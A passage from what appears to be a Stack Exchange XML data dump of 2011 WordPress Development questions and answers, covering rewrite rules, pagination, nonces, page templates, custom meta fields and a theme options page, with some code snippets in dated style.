$wp_roles-&amp;gt;add_cap( $role, 'delete_'        . $this-&amp;gt;post_type_1 );&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'manage_'        . $this-&amp;gt;taxonomy_type_1 );&#xA;        }&#xA;&#xA;        foreach ( $this-&amp;gt;read_roles as $role ) {&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'read_' . $this-&amp;gt;post_type_1 );&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'read_' . $this-&amp;gt;post_type_1 );&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'read_' . $this-&amp;gt;post_type_1 );&#xA;        }&#xA;&#xA;        global $wp_rewrite;&#xA;        $wp_rewrite-&amp;gt;flush_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, you must also unregister this objects, if the plugin will be uninstalled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example on this gist: &lt;a href=&quot;https://gist.github.com/978690&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/978690&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-29T19:43:20.013" CommentCount="2" />
  <row Id="21505" PostTypeId="1" CreationDate="2011-06-29T19:49:27.870" Score="1" ViewCount="36" Body="&lt;p&gt;I've just created a rewrite rules to integrate pagination in my page music (displaying custom post_type &quot;music&quot;) &#xA;in order to :&#xA;1. displaying a specific page from a long musical playlist.&#xA;2. in this page, playing a specified track&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the rule for pagination :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_rewrite_rule('music/page/([0-9])+/([^/]+)/?', 'index.php?pagename=music&amp;amp;paged=$matches[1]&amp;amp;trackid=$matches[2]', &quot;top&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now when I enter :&#xA;&lt;a href=&quot;http://carbonpaper-dev.imperatorium.org/music/page/2/track-2442&quot; rel=&quot;nofollow&quot;&gt;http://carbonpaper-dev.imperatorium.org/music/page/2/track-2442&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress rewrite my link with a repetition of  /page/2/ :&#xA;&lt;a href=&quot;http://carbonpaper-dev.imperatorium.org/music/page/2/track-2442/page/2/&quot; rel=&quot;nofollow&quot;&gt;http://carbonpaper-dev.imperatorium.org/music/page/2/track-2442/page/2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I search a solution to keep the first URL. I try get_rewrite_permalink() function but it's not ok.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;beR-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blog is in test phase so sorry for inconveniences...&lt;/p&gt;&#xA;" OwnerUserId="6550" LastActivityDate="2011-06-29T19:49:27.870" Title="Wordpress rewrite my URL when i use pagination" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;pagination&gt;&lt;rewrite-rules&gt;" FavoriteCount="2" />
  <row Id="21506" PostTypeId="1" AcceptedAnswerId="21595" CreationDate="2011-06-29T19:51:52.860" Score="0" ViewCount="43" Body="&lt;p&gt;I'm trying to figure out how to do, Second Level Menu as a template function, that persistent when visiting any level, whether its a top level page, or a grand children Page. Any Ideas?&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-06-30T11:08:43.997" Title="Second Level Menu" Tags="&lt;menus&gt;&lt;template-tags&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21507" PostTypeId="1" CreationDate="2011-06-29T20:05:48.027" Score="4" ViewCount="123" Body="&lt;p&gt;I'm one of the contributors for the Meta Box Class here on Github (&lt;a href=&quot;https://github.com/jaredatch/Custom-Metaboxes-and-Fields-for-WordPress&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;) and before I get too deep, I wanted to ask if anyone knew of a straight forward way to allow users to add additional fields &quot;on the fly&quot;, having an &quot;add&quot; button with a text field to add additional fields (i.e. list items). I've seen this done a few ways in the past, but I'm all for not reinventing the wheel.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-06-29T21:50:43.433" Title="Add custom fields within meta box class &quot;on the fly&quot;" Tags="&lt;post-editor&gt;&lt;custom-field&gt;&lt;meta-box&gt;" AnswerCount="2" FavoriteCount="5" />
  <row Id="21508" PostTypeId="1" AcceptedAnswerId="21510" CreationDate="2011-06-29T20:08:40.803" Score="0" ViewCount="40" Body="&lt;p&gt;I just created a web page that uses a lot of JavaScript to build a fancy form that helps build an build the object/html behind an mp3 player for a user.  I got it working and tested in a plain-html page outside of WordPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then copied into a WordPress &quot;page&quot;, took out the &amp;lt;head&amp;gt; tag, changed &amp;lt;body&amp;gt; to a &amp;lt;div&amp;gt;, but no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it even be done? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to use a small javascript to open up a video-player in a new small browser-window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working on raw html page: &#xA;&lt;a href=&quot;http://learnhowtoputaudioonyoursite.com/TestMP3Player.html&quot; rel=&quot;nofollow&quot;&gt;http://learnhowtoputaudioonyoursite.com/TestMP3Player.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not working in WP page: &#xA;&lt;a href=&quot;http://learnhowtoputaudioonyoursite.com/build-player&quot; rel=&quot;nofollow&quot;&gt;http://learnhowtoputaudioonyoursite.com/build-player&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2550" LastEditorUserId="2550" LastEditorDisplayName="" LastEditDate="2011-06-29T23:13:36.183" LastActivityDate="2011-06-29T23:13:36.183" Title="Use of Javascript with Dojo/Dijit on a WordPress page" Tags="&lt;javascript&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21509" PostTypeId="2" ParentId="21503" CreationDate="2011-06-29T20:13:00.173" Score="1" ViewCount="" Body="&lt;p&gt;Change your nonce verify to actually verify and update post meta, else do nothing. But don't use exit at the top of your template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// top of page&#xA;if ( isset( $_POST['drw_inventory'] ) &amp;amp;&amp;amp; wp_verify_nonce($_POST['drw_inventory'],'update_drw_postmeta') )&#xA;    { //if nonce check succeeds.&#xA;        global $post;&#xA;        $postid = $post-&amp;gt;ID;&#xA;        $data = $_POST['priceone'];&#xA;        update_post_meta($postid,'metakey',$data);&#xA;    }&#xA;&#xA;// in single.php&#xA;$priceone = get_post_meta($post-&amp;gt;ID, 'priceone', true);&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;   &amp;lt;?php wp_nonce_field('update_drw_postmeta','drw_inventory'); ?&amp;gt;&#xA;   &amp;lt;label&amp;gt;This is label&amp;lt;/label&amp;gt;&#xA;   &amp;lt;input type='text' name='priceone' value='&amp;lt;?php echo $priceone ?&amp;gt;' /&amp;gt;&#xA;   &amp;lt;input type='submit' value='save' /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-29T20:31:10.623" LastActivityDate="2011-06-29T20:31:10.623" CommentCount="3" />
  <row Id="21510" PostTypeId="2" ParentId="21508" CreationDate="2011-06-29T20:42:51.817" Score="1" ViewCount="" Body="&lt;p&gt;You'd be much better off &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;creating a custom page template&lt;/a&gt;, pasting your HTML into the file, then simply attaching the template to a page in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress applies a lot of filtering on post/page &lt;em&gt;content&lt;/em&gt;, and it's probably wreaking havoc with your code (not to mention you've got things there that belong in the &lt;code&gt;&amp;lt;head /&amp;gt;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Create a PHP file in your theme folder (name it template-something.php);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: My Template Something&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!-- any PHP &amp;amp; HTML goes here!! --&amp;gt;&#xA;&amp;lt;!-- Note: Should be a complete HTML document if not calling get_header() --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-29T20:54:52.607" LastActivityDate="2011-06-29T20:54:52.607" CommentCount="7" />
  <row Id="21511" PostTypeId="2" ParentId="21507" CreationDate="2011-06-29T20:48:14.700" Score="1" ViewCount="" Body="&lt;p&gt;Agreed, I've seen it too, but I don't think there's any readily available API or method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, I use a lick of jQuery;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; class=&quot;list-item&quot; name=&quot;list_items[]&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;button&quot; class=&quot;button-secondary&quot; id=&quot;add-list&quot; /&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    ( function( $ ) {&#xA;        $( '#add-list' ).click( function() {&#xA;            var $item =  $( '.list-item:last' ), $new = $item.clone();&#xA;            $item.after( $new.val( '' ) );&#xA;        }&#xA;    })( jQuery );&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you might wanna tweak those selectors if you plan on having multiple 'instances' of these.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-29T20:48:14.700" />
  <row Id="21512" PostTypeId="1" CreationDate="2011-06-29T20:49:09.757" Score="0" ViewCount="27" Body="&lt;p&gt;I'd like to have a link open in a new pop-up browser window.  In non-WordPress with JavaScript I would do it some like this (but I would add some underlink/color to make it look like a link). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Video Blah Blah Blah &lt;code&gt;enter code here&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress, this shows up on my page like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onClick=&quot;myRef = window.open('/Paid_Videos/AudioGenerator01.html','mywin',&#xA;'left=20,top=20,width=500,height=500,toolbar=1,resizable=0');&#xA;myRef.focus()&quot;&amp;gt;My Video Blah Blah Blah &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do to make it work in WordPress? &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-06-29T20:49:09.757" Title="Javascript to open new window" Tags="&lt;javascript&gt;" />
  <row Id="21513" PostTypeId="1" CreationDate="2011-06-29T20:57:10.483" Score="0" ViewCount="31" Body="&lt;p&gt;Can anyone help me out if this can be done...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;category-blog.php works perfectly displaying all the posts from the blog category and all their child cats and posts, pagination works great as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any query or code that can be put in a page template, say page called 'Blog Page' which works exactly the same as the category page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the below but the pagination doesn't work and only goes up to a certain amount of pages say 10 when there is actually 16, so a no goer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA; query_posts(&quot;cat=413&amp;amp;paged=$paged&amp;amp;showposts=5&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So can it be done...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help :)&lt;/p&gt;&#xA;" OwnerUserId="4630" LastActivityDate="2011-06-29T20:57:10.483" Title="Page template acting same as category-slug.php?" Tags="&lt;categories&gt;&lt;query&gt;&lt;page-template&gt;" />
  <row Id="21514" PostTypeId="1" CreationDate="2011-06-29T20:59:03.620" Score="0" ViewCount="27" Body="&lt;p&gt;So. Further to this post: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20554/order-posts-across-the-whole-site-by-metadata-date&quot;&gt;Order posts (across the whole site) by metadata date&lt;/a&gt; which isn't working yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I should make each post relate to today's date in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically: Each post (of a custom type) should relate to today's date via a meta_value date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to store a date as dd/mm and have them show up with the closest date next in the loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for posts to repeat across years. So say one was for the 28/06. This has just gone, so it would be at the bottom of the list of posts...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really have any idea how to go about structuring a query for this, or if there is a better way of doing it. So any idea or thoughts that might put me on the right track would be massively appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I got this query to work, straight up as a query on a custom page. It sorts them by the deadline as needed. BUT... older posts are still displayed at the top. IE. there is a post from custom date meta 'June 8', and it still shows right up at the top despite being well past this date... (ideally it would move to the bottom, being the firsts post for next year... or just now show up if that isn't possible...)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $today = date('m-d');&#xA;                                        $args=array(&#xA;                                           'post_type' =&amp;gt; 'competition',&#xA;                                           'posts_per_page' =&amp;gt; -1,&#xA;                                           'meta_key' =&amp;gt; 'deadline',&#xA;                                           'meta_compare' =&amp;gt; '&amp;gt;=',&#xA;                                           'meta_value' =&amp;gt; $today,&#xA;                                           'orderby' =&amp;gt; 'deadline',&#xA;                                            'order' =&amp;gt; 'ASC',&#xA;                                    //     'paged' =&amp;gt; $paged&#xA;&#xA;&#xA;                                                );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;j&lt;/p&gt;&#xA;" OwnerUserId="6353" LastEditorUserId="6353" LastEditorDisplayName="" LastEditDate="2011-06-30T11:25:07.103" LastActivityDate="2011-06-30T11:25:07.103" Title="Make Loop Relative to today's date for year round posts" Tags="&lt;query-posts&gt;&lt;loop&gt;&lt;meta-query&gt;&lt;date&gt;" CommentCount="3" />
  <row Id="21515" PostTypeId="2" ParentId="21497" CreationDate="2011-06-29T21:07:14.957" Score="4" ViewCount="" Body="&lt;p&gt;To record the moderator that approves the comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_comment_moderator_log( $comment ) {&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;&#xA;    update_comment_meta( $comment-&amp;gt;comment_ID, 'approved_by', $current_user-&amp;gt;user_login );&#xA;}&#xA;add_action( 'comment_unapproved_to_approved', 'wpse_comment_moderator_log' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To display it after the comment text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_display_moderator( $comment_text, $comment ) {&#xA;    $approved_by = get_comment_meta( $comment-&amp;gt;comment_ID, 'approved_by', true );&#xA;    if ( $approved_by ) {&#xA;        $comment_text .= &quot; - Approved by $approved_by&quot;;&#xA;    }&#xA;    return $comment_text;&#xA;}&#xA;add_filter( 'comment_text', 'wpse_display_moderator', 99, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-29T21:07:14.957" CommentCount="2" />
  <row Id="21516" PostTypeId="1" CreationDate="2011-06-29T21:16:46.067" Score="1" ViewCount="56" Body="&lt;p&gt;I've recently been redesigning a site for a college radio, switching from Drupal to Wordpress from scratch. The site is based on the radio station, but each specialty show will also have its own blog. However, I want the layout to be the same from the main content to each blog. Categories more or less work, but things get tricky when I want information pages for the blogs, such as an 'About' and whatnot. Say I have a &quot;Live&quot; show. I'd want everything to be /live/page or /live/2011/06/post-title, but Wordpress only wants to do posts, and I haven't really found any solid permalink plugins. Should I stick to using categories? How can I improve the situation? Or is multisite a better option? Can I easily set things globally for multisites, like the layout and menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6617" LastActivityDate="2011-08-29T16:36:29.990" Title="Multi-site or categories?" Tags="&lt;categories&gt;&lt;multisite&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21517" PostTypeId="1" CreationDate="2011-06-29T21:19:06.573" Score="0" ViewCount="29" Body="&lt;p&gt;(As a preface, I know this is going to sound absurd, but please bear with me. I'm aware this is unideal and atypical.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is put wp_nav_menu inside an iFrame so I can view it on a non-WordPress-powered site. (Essentially, I have a WP-powered site where the user will have to leave the site to make a purchase. However, on that site, I'd like the page to look, feel and function -- primarily from the backend -- in the same way the rest of the WP-powered site would.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create a separate nav.php and try to embed that in an iFrame, but WP blocks direct access to a file in the theme folder. Is there somewhere else I could put it? Or is there some other way I can unblock access to this file? (Not the route I'd prefer to go, but if it works, I'll take it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only other option is using something like a nav.html page, but I have no idea how I can run the usual WP PHP functions within this .html page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help will be much appreciated. Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="6618" LastActivityDate="2011-06-30T00:04:37.137" Title="WordPress Template Part in iFrame" Tags="&lt;theme-development&gt;&lt;customization&gt;&lt;embed&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21518" PostTypeId="2" ParentId="19824" CreationDate="2011-06-29T21:33:35.813" Score="0" ViewCount="" Body="&lt;p&gt;Well, I couldn't find how to &lt;code&gt;unset&lt;/code&gt; it, so I'm using my old method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function auto_media() {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        #media-items .savesend input.button, #gallery-settings * {display:none;}&#xA;    &amp;lt;/style&amp;gt;';&#xA;}&#xA;add_action('admin_head', 'auto_media');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5744" LastActivityDate="2011-06-29T21:33:35.813" />
  <row Id="21519" PostTypeId="1" AcceptedAnswerId="21530" CreationDate="2011-06-29T21:33:58.513" Score="0" ViewCount="22" Body="&lt;p&gt;I am creating a largely static site for the collections/archives office of a library. Since I am expecting most content to be created once and slowly appended or modified over time, instead of regular posts, my first inclination is to make everything a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, I have pages/posts that exist in two or 3 categories that I would really love to be able to generate listings of and I cannot think of a good way to do this except by using categories and posts. I know that there is a plugin allowing you tag pages with categories, but get_posts does not always work when I do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the fact that I have content that needs multiple categories and have overlaps with each other more important than the fact that this content should largely be static?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an collection that is made up of sites dedicated to specific topics. If I made each of those mini sites a post type, I could then make the main page loop through those posts to create entries on the collections main page and now that as long as they were tagged properly, items would show up there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is static content the only determiner of whether something is a page or a post?&lt;/p&gt;&#xA;" OwnerUserId="4756" LastActivityDate="2011-06-29T23:15:18.193" Title="Posts vs Pages and categories" Tags="&lt;posts&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="21520" PostTypeId="1" CreationDate="2011-06-29T21:39:43.460" Score="0" ViewCount="78" Body="&lt;p&gt;I'm trying to remove &quot;Pending Review&quot; (Status) and &quot;Password protected&quot; (Visibility) options from Publish metabox. Any ideas how can I do it?&lt;/p&gt;&#xA;" OwnerUserId="5744" LastActivityDate="2011-06-29T22:22:30.207" Title="How to modify Publish metabox?" Tags="&lt;metabox&gt;&lt;publish&gt;&lt;modifications&gt;" AnswerCount="2" />
  <row Id="21521" PostTypeId="1" CreationDate="2011-06-29T21:46:52.523" Score="0" ViewCount="76" Body="&lt;p&gt;I created a custom theme for Wordpress and customized the backend to have a white label look and feel. I am able to load up the options page and save settings (which push to a CSS file) from the Administrator menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to access this from the Editor level it attempts to load:&#xA;&lt;a href=&quot;http://MYURL.COM/wp-admin/functions.php&quot; rel=&quot;nofollow&quot;&gt;http://MYURL.COM/wp-admin/functions.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rather than&#xA;&lt;a href=&quot;http://MYURL.COM/wp-admin/admin.php?page=functions.php&quot; rel=&quot;nofollow&quot;&gt;http://MYURL.COM/wp-admin/admin.php?page=functions.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was originally able to pull up the options menu with the Editor account. When I would attempt to save it, I would receive the error that I couldn't save. While changing access levels the problem seems to have gotten worse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read through 3-4 pages of search and couldn't find something that was relavant to my issue, sorry!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code for my functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$themename = &quot;Sleek v0.1&quot;;&#xA;$shortname = &quot;sleek&quot;;&#xA;$options = array (&#xA;&#xA;/*Declare the variables needed*/&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;General Settings&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;title&quot;),&#xA;&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Call Analytics Number&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the call tracking number for the marketing campaign.&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_phone_number&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;(888) 555-5555&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;MerchEngines Customer ID&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the Customer ID in the MerchEngines dashboard&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_cust_id&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;0000&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Navigation&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;title&quot;),&#xA;&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Navigation Bar Background Color&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the background color for the top navigation bar and footer. (Default: #000000)&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_navBarColor&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;#000000&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Navigation Bar Text Color&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the text for the top navigation bar and footer. (Default: #ffffff)&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_navTextColor&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;#ffffff&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Current Tab Color&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the tab color for the current page (Default: #920000)&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_currentTabColor&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;#920000&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Hover Tab Color&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the tab color for the current page. (Default: #920000)&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_hoverTabColor&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;#c00000&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Call to Action&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;title&quot;),&#xA;&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Stand Out Font Color&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the contrast color used by the CTA phone numbers and the stand out wording within the inForm. (Default: #c00000)&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_CTAstandOutColor&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;#c00000&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Base Color&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the base color used by the CTA text and the base wording within the inForm. (Default: #000000)&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_CTAbaseColor&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;#000000&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Checkmark Color&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the color of the 'Feature' checkmarks. Color options are: red, darkred, blue, darkblue, green, darkgreen, purple, and orange (Default: red)&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_checkMarkColor&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;red&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Bottom Call to Action Text&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the bottom call to action text following the phone number. (Default: for more information!)&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_bottomCTAText&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;for more information!&quot;),&#xA;&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Test Drop Down&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Test for a drop down box.&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_test_dropdown&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;select&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;red&quot;,&#xA;    &quot;options&quot; =&amp;gt; &quot;red, green, blue&quot;),&#xA;&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;)&#xA;&#xA;);&#xA;&#xA;function mytheme_add_admin() {&#xA;&#xA;global $themename, $shortname, $options;&#xA;&#xA;if ( $_GET['page'] == basename(__FILE__) ) {&#xA;    if ( 'save' == $_REQUEST['action'] ) {&#xA;        foreach ($options as $value) {&#xA;        update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }&#xA;        foreach ($options as $value) {&#xA;    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }&#xA;&#xA;header(&quot;Location: themes.php?page=functions.php&amp;amp;saved=true&quot;);&#xA;die;&#xA;&#xA;    } else if( 'reset' == $_REQUEST['action'] ) {&#xA;        foreach ($options as $value) {&#xA;        delete_option( $value['id'] ); }&#xA;&#xA;header(&quot;Location: themes.php?page=functions.php&amp;amp;reset=true&quot;);&#xA;die;&#xA;&#xA;}&#xA;}&#xA;&#xA;add_menu_page($themename.&quot; Options&quot;, &quot;&quot;.$themename.&quot; Options&quot;, 'edit_themes', basename(__FILE__), 'mytheme_admin');&#xA;&#xA;}&#xA;function mytheme_add_init() {  &#xA;$file_dir=get_bloginfo('template_directory');  &#xA;wp_enqueue_style(&quot;functions&quot;, $file_dir.&quot;/functions/functions.css&quot;, false, &quot;1.0&quot;, &quot;all&quot;);  &#xA;} &#xA;&#xA;function mytheme_admin() {&#xA;&#xA;global $themename, $shortname, $options;&#xA;&#xA;if ( $_REQUEST['saved'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;'.$themename.' settings saved.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;if ( $_REQUEST['reset'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;'.$themename.' settings reset.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php echo $themename; ?&amp;gt; Settings&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($options as 